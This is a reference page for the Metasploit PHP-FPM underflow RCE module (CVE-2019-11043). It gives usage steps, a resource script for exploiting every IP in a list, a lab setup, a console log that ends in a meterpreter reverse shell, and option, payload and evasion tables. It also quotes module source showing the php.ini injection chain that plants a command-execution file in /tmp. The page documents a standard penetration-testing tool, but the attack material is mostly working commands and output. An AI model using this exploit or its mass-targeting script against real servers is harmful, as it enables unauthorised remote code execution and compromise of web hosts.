PHP-FPM Underflow RCE - Metasploit


This page contains detailed information about how to use the exploit/multi/http/php_fpm_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: PHP-FPM Underflow RCE
Module: exploit/multi/http/php_fpm_rce
Source code: modules/exploits/multi/http/php_fpm_rce.rb
Disclosure date: 2019-10-22
Last modification time: 2021-11-23 07:58:07 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2019-11043

This module exploits an underflow vulnerability in versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 of PHP-FPM on Nginx. Only servers with certains Nginx + PHP-FPM configurations are exploitable. This is a port of the original neex's exploit code (see refs.). First, it detects the correct parameters (Query String Length and custom header length) needed to trigger code execution. This step determines if the target is actually vulnerable (Check method). Then, the exploit sets a series of PHP INI directives to create a file locally on the target, which enables code execution through a query string parameter. This is used to execute normal payload stagers. Finally, this module does some cleanup by killing local PHP-FPM workers (those are spawned automatically once killed) and removing the created local file.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • crash-service-restarts: Module may crash the service, but the service restarts.

Side Effects:

  • artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).

Basic Usage


Using php_fpm_rce against a single host

Normally, you can use exploit/multi/http/php_fpm_rce this way:

msf > use exploit/multi/http/php_fpm_rce
msf exploit(php_fpm_rce) > show targets
    ... a list of targets ...
msf exploit(php_fpm_rce) > set TARGET target-id
msf exploit(php_fpm_rce) > show options
    ... show and set options ...
msf exploit(php_fpm_rce) > exploit

Using php_fpm_rce against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your php_fpm_rce will be using:

  1. Do: use exploit/multi/handler
  2. Do: set PAYLOAD [payload]
  3. Set other options required by the payload
  4. Do: set EXITONSESSION false
  5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/multi/http/php_fpm_rce")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80

RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199

[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600

[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


This module exploits an underflow vulnerability in versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 of PHP-FPM on Nginx. Only servers with certains Nginx + PHP-FPM configurations are exploitable. This is a port of the original neex's exploit code (see refs.). First, it detects the correct parameters (Query String Length and custom header length) needed to trigger code execution. This step determines if the target is actually vulnerable (Check method). Then, the exploit sets a series of PHP INI directives to create a file (/tmp/a) locally on the target, which enables code execution through a query string parameter (?a=<cmd>). This is used to execute normal payload stagers. Finally, this module does some cleanup by killing local PHP-FPM workers (those are spawned automatically once killed) and removing the created local file (/tmp/a).

Vulnerable Application


  • Install Nginx on Linux (apt-get install nginx)
  • get the vulnerable PHP:
git clone https://github.com/php/php-src
# checkout the fix
git -C php-src checkout ab061f95ca966731b1c84cf5b7b20155c0a1c06a
# checkout the commit previous to the fix
git -C php-src checkout HEAD~1
  • make sure the default Nginx configuration contains these entries and no script existence checks (like try_files):
location ~ [^/]\.php(/|$) {
  ...
  fastcgi_split_path_info ^(.+?\.php)(/.*)$;
  fastcgi_param PATH_INFO       $fastcgi_path_info;
  fastcgi_pass   php:9000;
  ...
}

See original PoC for details: https://github.com/neex/phuip-fpizdam

An easiest way to setup a vulnerable instance is to use the docker configuration provided by the author (https://github.com/neex/phuip-fpizdam/tree/master/reproducer)

Verification Steps


Preparing the target:

  1. git clone https://github.com/neex/phuip-fpizdam
  2. cd phuip-fpizdam/reproducer/
  3. docker build -t reproduce-cve-2019-11043 .
  4. docker run --rm -p 192.168.6.6:8080:80 --name reproduce-cve-2019-11043 reproduce-cve-2019-11043

Running the exploit:

  1. ./msfconsole
  2. use exploit/multi/http/php_fpm_rce
  3. set RHOSTS 192.168.6.6
  4. set RPORT 8080
  5. set TARGETURI /script.php
  6. set PAYLOAD php/meterpreter/reverse_tcp
  7. set LHOST 192.168.6.6
  8. run

Options


TARGETURI Path to a PHP page (/index.php by default). This must be a valid page.

Advanced Options


MinQSL Minimum query string length (QSL). The QSL detection engine will iterate starting from this value (1500 by default). This option is required.

MaxQSL Maximum query string length (QSL). The QSL detection engine will iterate until this value is reached (1950 by default). This option is required.

QSLHint Query string length hint. This value will be used as a QSL candidate. Note that setting this value skips the QSL detection.

QSLDetectStep Query string length detect step. The QSL detection engine will iterate with this step value (5 by default). This option is required.

MaxQSLCandidates Maximum query string length candidates. When the number of QSL candidates found during the QSL detection phase is greater than this value (10 by default), this indicates that something went wrong and we were not able to detect the correct values. This option is required.

MaxQSLDetectDelta Maximum query string length detection delta. This value is the maximum distance between the candidate and the extended values (10 by default). For example, with a value of 20 and QSLDetectStep set to 5, candidate [1700] will be extended to [1680, 1685, 1690, 1695, 1700]. This option is required.

MaxCustomHeaderLength Maximum custom header length. This value is the maximum length that will be used for the custom header during the parameters detection (256 by default). This option is required.

CustomHeaderLengthHint Custom header length hint. This value will be used as the custom header length. Note that setting this value skips the custom header length detection.

DetectMethod Method that will be used to detect if the target is vulnerable. Available methods:

  1. session.auto_start: this method consist in setting the session.auto_start PHP option to 1. If the response contains PHPSESSID= set-cookie value, this means the PHP option has been correctly set and the target is vulnerable.
  2. output_handler.md5: this method consist in setting the output_handler PHP option to md5. If the response is a md5 hash (16 characters), this means the PHP option has been correctly set and the target is vulnerable.

OperationMaxRetries Maximum of operation retries. Each operation will be repeated at most OperationMaxRetries times.

Scenarios


Ubuntu 18.04 + nginx 1.14.0 + PHP 7.1.33dev (fpm-fcgi) (built: Feb 14 2020 16:48:15)

msf5 > use exploit/multi/http/php_fpm_rce
msf5 exploit(multi/http/php_fpm_rce) > set RHOSTS 192.168.6.6
RHOSTS => 192.168.6.6
msf5 exploit(multi/http/php_fpm_rce) > set RPORT 8080
RPORT => 8080
msf5 exploit(multi/http/php_fpm_rce) > set TARGETURI /script.php
TARGETURI => /script.php
msf5 exploit(multi/http/php_fpm_rce) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
msf5 exploit(multi/http/php_fpm_rce) > set LHOST 192.168.6.6
LHOST => 192.168.6.6
msf5 exploit(multi/http/php_fpm_rce) > run

[*] Started reverse TCP handler on 192.168.6.6:4444
[*] Sending baseline query...
[*] Detecting QSL...
[+] The target is probably vulnerable. Possible QSLs: [1765]
[*] Doing sanity check...
[*] Detecting attack parameters...
[+] Parameters found: QSL=1760, customh_length=69
[+] Target is vulnerable!
[*] Performing attack using php.ini settings...
[+] Success! Was able to execute a command by appending 'which+which'
[*] Trying to cleanup /tmp/a...
[+] Cleanup done!
[*] Sending payload...
[*] Sending stage (38288 bytes) to 192.168.6.6
[*] Meterpreter session 1 opened (192.168.6.6:4444 -> 192.168.6.6:59177) at 2020-02-14 12:03:45 -0600
[+] Session created
[*] Remove /tmp/a and kill workers...
[+] Done!

meterpreter > getuid
Server username: www-data (33)
meterpreter > sysinfo
Computer    : 832efebeac57
OS          : Linux 832efebeac57 4.9.184-linuxkit #1 SMP Tue Jul 2 22:58:16 UTC 2019 x86_64
Meterpreter : php/linux
meterpreter >

Go back to menu.

Msfconsole Usage


Here is how the multi/http/php_fpm_rce exploit module looks in the msfconsole:

msf6 > use exploit/multi/http/php_fpm_rce

[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/php_fpm_rce) > show info

       Name: PHP-FPM Underflow RCE
     Module: exploit/multi/http/php_fpm_rce
   Platform: 
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2019-10-22

Provided by:
  neex
  cdelafuente-r7

Module side effects:
 artifacts-on-disk
 ioc-in-logs

Module stability:
 crash-service-restarts

Module reliability:
 repeatable-session

Available targets:
  Id  Name
  --  ----
  0   PHP
  1   Shell Command

Check supported:
  Yes

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT      80               yes       The target port (TCP)
  SSL        false            no        Negotiate SSL/TLS for outgoing connections
  TARGETURI  /index.php       yes       Path to a PHP page
  VHOST                       no        HTTP server virtual host

Payload information:
  Avoid: 4 characters

Description:
  This module exploits an underflow vulnerability in versions 7.1.x 
  below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 of PHP-FPM 
  on Nginx. Only servers with certains Nginx + PHP-FPM configurations 
  are exploitable. This is a port of the original neex's exploit code 
  (see refs.). First, it detects the correct parameters (Query String 
  Length and custom header length) needed to trigger code execution. 
  This step determines if the target is actually vulnerable (Check 
  method). Then, the exploit sets a series of PHP INI directives to 
  create a file locally on the target, which enables code execution 
  through a query string parameter. This is used to execute normal 
  payload stagers. Finally, this module does some cleanup by killing 
  local PHP-FPM workers (those are spawned automatically once killed) 
  and removing the created local file.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2019-11043
  https://www.exploit-db.com/exploits/47553
  https://github.com/neex/phuip-fpizdam
  https://bugs.php.net/bug.php?id=78599
  https://blog.orange.tw/2019/10/an-analysis-and-thought-about-recently.html

Module Options


This is a complete list of options available in the multi/http/php_fpm_rce exploit:

msf6 exploit(multi/http/php_fpm_rce) > show options

Module options (exploit/multi/http/php_fpm_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /index.php       yes       Path to a PHP page
   VHOST                       no        HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   PHP

Advanced Options


Here is a complete list of advanced options supported by the multi/http/php_fpm_rce exploit:

msf6 exploit(multi/http/php_fpm_rce) > show advanced

Module advanced options (exploit/multi/http/php_fpm_rce):

   Name                    Current Setting                                     Required  Description
   ----                    ---------------                                     --------  -----------
   ContextInformationFile                                                      no        The information file that contains context information
   CustomHeaderLengthHint                                                      no        Custom header length hint
   DOMAIN                  WORKSTATION                                         yes       The domain to use for Windows authentication
   DetectMethod            session.auto_start                                  yes       Detection method (Accepted: session.auto_start, output_handler.md5)
   DigestAuthIIS           true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   DisablePayloadHandler   false                                               no        Disable the handler code for the selected payload
   EnableContextEncoding   false                                               no        Use transient context when encoding payloads
   FingerprintCheck        true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                           no        HTTP connection and receive timeout
   HttpPassword                                                                no        The HTTP password to specify for authentication
   HttpRawHeaders                                                              no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace               false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors         red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly    false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                                no        The HTTP username to specify for authentication
   MaxCustomHeaderLength   256                                                 yes       Max custom header length
   MaxQSL                  1950                                                yes       Maximum query string length
   MaxQSLCandidates        10                                                  yes       Max query string length candidates
   MaxQSLDetectDelta       10                                                  yes       Max query string length detection delta
   MinQSL                  1500                                                yes       Minimum query string length
   OperationMaxRetries     20                                                  yes       Maximum of operation retries
   QSLDetectStep           5                                                   yes       Query string length detect step
   QSLHint                                                                     no        Query string length hint
   SSLVersion              Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent               Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE                 false                                               no        Enable detailed status messages
   WORKSPACE                                                                   no        Specify the workspace for this module
   WfsDelay                2                                                   no        Additional delay in seconds to wait for a session

Payload advanced options (php/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the multi/http/php_fpm_rce module can exploit:

msf6 exploit(multi/http/php_fpm_rce) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   PHP
   1   Shell Command

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/php_fpm_rce exploit:

msf6 exploit(multi/http/php_fpm_rce) > show payloads

Compatible Payloads
===================

   #   Name                                        Disclosure Date  Rank    Check  Description
   -   ----                                        ---------------  ----    -----  -----------
   0   payload/generic/custom                                       normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                               normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                            normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/multi/meterpreter/reverse_http                       normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
   4   payload/multi/meterpreter/reverse_https                      normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
   5   payload/php/bind_perl                                        normal  No     PHP Command Shell, Bind TCP (via Perl)
   6   payload/php/bind_perl_ipv6                                   normal  No     PHP Command Shell, Bind TCP (via perl) IPv6
   7   payload/php/bind_php                                         normal  No     PHP Command Shell, Bind TCP (via PHP)
   8   payload/php/bind_php_ipv6                                    normal  No     PHP Command Shell, Bind TCP (via php) IPv6
   9   payload/php/download_exec                                    normal  No     PHP Executable Download and Execute
   10  payload/php/exec                                             normal  No     PHP Execute Command
   11  payload/php/meterpreter/bind_tcp                             normal  No     PHP Meterpreter, Bind TCP Stager
   12  payload/php/meterpreter/bind_tcp_ipv6                        normal  No     PHP Meterpreter, Bind TCP Stager IPv6
   13  payload/php/meterpreter/bind_tcp_ipv6_uuid                   normal  No     PHP Meterpreter, Bind TCP Stager IPv6 with UUID Support
   14  payload/php/meterpreter/bind_tcp_uuid                        normal  No     PHP Meterpreter, Bind TCP Stager with UUID Support
   15  payload/php/meterpreter/reverse_tcp                          normal  No     PHP Meterpreter, PHP Reverse TCP Stager
   16  payload/php/meterpreter/reverse_tcp_uuid                     normal  No     PHP Meterpreter, PHP Reverse TCP Stager
   17  payload/php/meterpreter_reverse_tcp                          normal  No     PHP Meterpreter, Reverse TCP Inline
   18  payload/php/reverse_perl                                     normal  No     PHP Command, Double Reverse TCP Connection (via Perl)
   19  payload/php/reverse_php                                      normal  No     PHP Command Shell, Reverse TCP (via PHP)

Evasion Options


Here is the full list of possible evasion options supported by the multi/http/php_fpm_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(multi/http/php_fpm_rce) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Got odd qslDelta, that means the URL encoding gone wrong: path=<PATH>, qsl_delta=<QSL_DELTA>


Here is a relevant code snippet related to the "Got odd qslDelta, that means the URL encoding gone wrong: path=<PATH>, qsl_delta=<QSL_DELTA>" error message:

126:	
127:	  def send_crafted_request(path:, qsl: datastore['MinQSL'], customh_length: 1, cmd: '', allow_retry: true)
128:	    uri = Rex::Text.uri_encode(normalize_uri(target_uri.path, path)).gsub(/([?&])/, { '?' => '%3F', '&' => '%26' })
129:	    qsl_delta = uri.length - path.length - Rex::Text.uri_encode(target_uri.path).length
130:	    if qsl_delta.odd?
131:	      fail_with Failure::Unknown, "Got odd qslDelta, that means the URL encoding gone wrong: path=#{path}, qsl_delta=#{qsl_delta}"
132:	    end
133:	    # rubocop:disable Lint/UriEscapeUnescape
134:	    prefix = cmd.empty? ? '' : "#{@http_param}=#{URI.encode(cmd)}%26"
135:	    # rubocop:enable Lint/UriEscapeUnescape
136:	    qsl_prime = qsl - qsl_delta / 2 - prefix.length

QSL value too small to fit the command: QSL=<QSL>, qsl_delta=<QSL_DELTA>, prefix (size=<PREFIX.SIZE>)=<PREFIX>


Here is a relevant code snippet related to the "QSL value too small to fit the command: QSL=<QSL>, qsl_delta=<QSL_DELTA>, prefix (size=<PREFIX.SIZE>)=<PREFIX>" error message:

133:	    # rubocop:disable Lint/UriEscapeUnescape
134:	    prefix = cmd.empty? ? '' : "#{@http_param}=#{URI.encode(cmd)}%26"
135:	    # rubocop:enable Lint/UriEscapeUnescape
136:	    qsl_prime = qsl - qsl_delta / 2 - prefix.length
137:	    if qsl_prime < 0
138:	      fail_with Failure::Unknown, "QSL value too small to fit the command: QSL=#{qsl}, qsl_delta=#{qsl_delta}, prefix (size=#{prefix.size})=#{prefix}"
139:	    end
140:	    uri = "#{uri}?#{prefix}#{'Q' * qsl_prime}"
141:	    opts = {
142:	      'method' => 'GET',
143:	      'uri' => uri,

Error during sanity check


Here is a relevant code snippet related to the "Error during sanity check" error message:

185:	        path: "/PHP\nSOSAT",
186:	        qsl: datastore['MaxQSL'],
187:	        customh_length: datastore['MaxCustomHeaderLength']
188:	      )
189:	      unless res
190:	        vprint_error('Error during sanity check')
191:	        return false
192:	      end
193:	      if res.code != @base_status
194:	        vprint_error(
195:	          "Invalid status code: #{res.code} (must be #{@base_status}). "\

error while setting <PHP_SETTING> for qsl=<QSL>, customh_length=<CUSTOMH_LENGTH>


Here is a relevant code snippet related to the "error while setting <PHP_SETTING> for qsl=<QSL>, customh_length=<CUSTOMH_LENGTH>" error message:

225:	      qsl: qsl,
226:	      customh_length: customh_length,
227:	      cmd: cmd
228:	    )
229:	    unless res
230:	      vprint_error("error while setting #{php_setting} for qsl=#{qsl}, customh_length=#{customh_length}")
231:	    end
232:	    return res
233:	  end
234:	
235:	  def send_params_detection(qsl_candidates:, customh_length:, detect_method:)

Error for qsl=<QSL>, customh_length=<C_LENGTH>


Here is a relevant code snippet related to the "Error for qsl=<QSL>, customh_length=<C_LENGTH>" error message:

237:	    vprint_status("Iterating until the PHP option is enabled (#{php_setting})...")
238:	    customh_lengths = customh_length ? [customh_length] : (1..datastore['MaxCustomHeaderLength']).to_a
239:	    qsl_candidates.product(customh_lengths) do |qsl, c_length|
240:	      res = set_php_setting(php_setting: php_setting, qsl: qsl, customh_length: c_length)
241:	      unless res
242:	        vprint_error("Error for qsl=#{qsl}, customh_length=#{c_length}")
243:	        return nil
244:	      end
245:	      if res.code != @base_status
246:	        vprint_status("Status code #{res.code} for qsl=#{qsl}, customh_length=#{c_length}")
247:	      end

html_errors=0


Here is a relevant code snippet related to the "html_errors=0" error message:

274:	  end
275:	
276:	  def send_attack_chain
277:	    [
278:	      'short_open_tag=1',
279:	      'html_errors=0',
280:	      'include_path=/tmp',
281:	      "auto_prepend_file=#{@filename}",
282:	      'log_errors=1',
283:	      'error_reporting=2',
284:	      "error_log=/tmp/#{@filename}",

log_errors=1


Here is a relevant code snippet related to the "log_errors=1" error message:

277:	    [
278:	      'short_open_tag=1',
279:	      'html_errors=0',
280:	      'include_path=/tmp',
281:	      "auto_prepend_file=#{@filename}",
282:	      'log_errors=1',
283:	      'error_reporting=2',
284:	      "error_log=/tmp/#{@filename}",
285:	      'extension_dir="<?=`"',
286:	      "extension=\"$_GET[#{@http_param}]`?>\""
287:	    ].each do |php_setting|

error_reporting=2


Here is a relevant code snippet related to the "error_reporting=2" error message:

278:	      'short_open_tag=1',
279:	      'html_errors=0',
280:	      'include_path=/tmp',
281:	      "auto_prepend_file=#{@filename}",
282:	      'log_errors=1',
283:	      'error_reporting=2',
284:	      "error_log=/tmp/#{@filename}",
285:	      'extension_dir="<?=`"',
286:	      "extension=\"$_GET[#{@http_param}]`?>\""
287:	    ].each do |php_setting|
288:	      vprint_status("Sending php.ini setting: #{php_setting}")

error_log=/tmp/<FILENAME>


Here is a relevant code snippet related to the "error_log=/tmp/<FILENAME>" error message:

279:	      'html_errors=0',
280:	      'include_path=/tmp',
281:	      "auto_prepend_file=#{@filename}",
282:	      'log_errors=1',
283:	      'error_reporting=2',
284:	      "error_log=/tmp/#{@filename}",
285:	      'extension_dir="<?=`"',
286:	      "extension=\"$_GET[#{@http_param}]`?>\""
287:	    ].each do |php_setting|
288:	      vprint_status("Sending php.ini setting: #{php_setting}")
289:	      res = set_php_setting(

Error when setting <PHP_SETTING>


Here is a relevant code snippet related to the "Error when setting <PHP_SETTING>" error message:

293:	        cmd: "/bin/sh -c '#{CHECK_COMMAND}'"
294:	      )
295:	      if res
296:	        return res if res.body.include?(SUCCESS_PATTERN)
297:	      else
298:	        print_error("Error when setting #{php_setting}")
299:	        return nil
300:	      end
301:	    end
302:	    return nil
303:	  end

Error when sending query with QSL=<QSL>


Here is a relevant code snippet related to the "Error when sending query with QSL=<QSL>" error message:

331:	  def detect_qsl
332:	    qsl_candidates = []
333:	    (datastore['MinQSL']..datastore['MaxQSL']).step(datastore['QSLDetectStep']) do |qsl|
334:	      res = send_crafted_request(path: "/PHP\nabcdefghijklmopqrstuv.php", qsl: qsl)
335:	      unless res
336:	        vprint_error("Error when sending query with QSL=#{qsl}")
337:	        next
338:	      end
339:	      if res.code != @base_status
340:	        vprint_status("Status code #{res.code} for qsl=#{qsl}, adding as a candidate")
341:	        qsl_candidates << qsl

Error when sending baseline query


Here is a relevant code snippet related to the "Error when sending baseline query" error message:

345:	  end
346:	
347:	  def check
348:	    print_status('Sending baseline query...')
349:	    res = send_crafted_request(path: "/path\ninfo.php")
350:	    return CheckCode::Unknown('Error when sending baseline query') unless res
351:	
352:	    @base_status = res.code
353:	    vprint_status("Base status code is #{@base_status}")
354:	
355:	    if datastore['QSLHint']

No qsl candidates found, not vulnerable or something went wrong


Here is a relevant code snippet related to the "No qsl candidates found, not vulnerable or something went wrong" error message:

358:	    else
359:	      print_status('Detecting QSL...')
360:	      qsl_candidates = detect_qsl
361:	    end
362:	    if qsl_candidates.empty?
363:	      return CheckCode::Detected('No qsl candidates found, not vulnerable or something went wrong')
364:	    end
365:	    if qsl_candidates.size > datastore['MaxQSLCandidates']
366:	      return CheckCode::Detected('Too many qsl candidates found, looks like I got banned')
367:	    end
368:	

Too many qsl candidates found, looks like I got banned


Here is a relevant code snippet related to the "Too many qsl candidates found, looks like I got banned" error message:

361:	    end
362:	    if qsl_candidates.empty?
363:	      return CheckCode::Detected('No qsl candidates found, not vulnerable or something went wrong')
364:	    end
365:	    if qsl_candidates.size > datastore['MaxQSLCandidates']
366:	      return CheckCode::Detected('Too many qsl candidates found, looks like I got banned')
367:	    end
368:	
369:	    print_good("The target is probably vulnerable. Possible QSLs: #{qsl_candidates}")
370:	
371:	    qsl_candidates = extend_qsl_list(qsl_candidates)

Sanity check failed


Here is a relevant code snippet related to the "Sanity check failed" error message:

370:	
371:	    qsl_candidates = extend_qsl_list(qsl_candidates)
372:	    vprint_status("Extended QSL list: #{qsl_candidates}")
373:	
374:	    print_status('Doing sanity check...')
375:	    return CheckCode::Detected('Sanity check failed') unless sanity_check?
376:	
377:	    print_status('Detecting attack parameters...')
378:	    @params = detect_params(qsl_candidates)
379:	    return CheckCode::Detected('Unable to detect parameters') unless @params
380:	

Unable to detect parameters


